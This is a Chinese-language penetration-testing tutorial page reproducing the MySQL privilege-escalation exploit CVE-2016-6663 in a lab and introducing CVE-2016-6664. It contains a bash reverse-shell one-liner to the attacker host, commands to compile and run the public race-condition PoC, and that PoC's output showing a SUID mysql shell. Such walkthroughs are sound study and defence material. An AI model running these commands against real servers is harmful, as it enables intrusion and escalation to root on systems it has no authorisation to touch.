主页 > 网络知识 > 内网渗透测试:MySql的利用与提权思路总结(9)

内网渗透测试:MySql的利用与提权思路总结(9)

2016年11月01日,国外安全研究员Dawid Golunski在 MySQl、MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞。该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)的账号提升权限到数据库系统用户权限(通常是mysql用户权限)来执行任意代码,黑客成功利用此漏洞后,可以完全访问数据库。

该漏洞影响的版本如下:

MySQL:

 

<= 5.5.51

 

 

<= 5.6.32

 

 

<= 5.7.14

 

漏洞利用条件:

 

攻击者已经获取到目标服务器的webshell权限

 

 

可以通过反弹shell的方法获得目标主机的交互环境

 

 

已经拿到了一个低权限(CREATE/INSERT/SELECT权限)的 MySQL 账户的用户名和密码

 

 

目标主机的MySQL版本在漏洞影响范围内

 

下面我们来复现该漏洞。

实验环境:

 

目标机IP:192.168.1.10

 

 

攻击机IP:192.168.1.7

 

假设我们已经通过蚁剑获得了目标主机的webshell权限。

首先,我们先下载一个C脚本 mysql-privesc-race.c,通过蚁剑将编译将其上传到目标主机。然后执行如下命令反弹个shell获取目标主机的交互环境:

bash -c "bash -i >& /dev/tcp/192.168.1.7/2333 0>&1"

 

image-20210125142800069

 

然后执行如下命令将上传的攻击脚本编译生成我们的exp程序:

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

 

image-20210125142914734

 

最后,在shell环境中执行的exp程序:

./mysql-privesc-race whoami 123456 localhost whoami_db

 

whoami:已经拿到了一个低权限(CREATE/INSERT/SELECT权限)的 MySQL 用户名

 

 

123456:低权限 MySQL 用户的密码

 

 

localhost:数据库地址

 

 

whoami_db:属于whoami用户的数据库

 

执行成功后会获得一个mysql权限,要想提升到系统root权限还需要配合CVE-2016-6664漏洞,大概如下:

www-data@xenial:~/mysql-exploit$ time ./mysql-privesc-race www-data pocsql localhost pocdb MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) CVE-2016-6663 / OCVE-2016-5616 For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski [+] Starting the exploit as: uid=33(www-data) gid=33(www-data) groups=33(www-data) [+] Connecting to the database `pocdb` as www-data@localhost [+] Creating exploit temp directory /tmp/mysql_privesc_exploit [+] Creating mysql tables DROP TABLE IF EXISTS exploit_table DROP TABLE IF EXISTS mysql_suid_shell CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' [+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : -rw-rw---- 1 mysql www-data 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD [+] Entering the race loop... Hang in there... [+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: -rwsrwxrwx 1 mysql www-data 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD [+] Spawning the mysql SUID shell now... Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :) mysql_suid_shell.MYD-4.3$ whoami mysql mysql_suid_shell.MYD-4.3$ id uid=33(www-data) gid=33(www-data) euid=102(mysql) groups=33(www-data)

但我在本地测试失败了,总是报错说“cp: cannot create regular file '/tmp/mysql_privesc_exploit/mysql_suid_shell.MYD': Permission denied”,有知道原因的大佬还请写在评论里告诉我。

CVE-2016-6664(可将mysql权限提升为root权限)

该漏洞可以使mysql用户权限提升为系统root权限。

该漏洞影响的版本如下:

MySQL :

 

<= 5.5.51

 

 

<= 5.6.32

 

 

<= 5.7.14

 

漏洞利用条件:

 

攻击者已经获取到目标服务器的webshell权限。

 

 

可以通过反弹shell的方法获得目标主机的交互环境。

 

 

已经通过CVE-2016-6663等方式获取到系统mysql用户权限。

 

 

目标主机的MySQL版本在漏洞影响范围内。

 

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!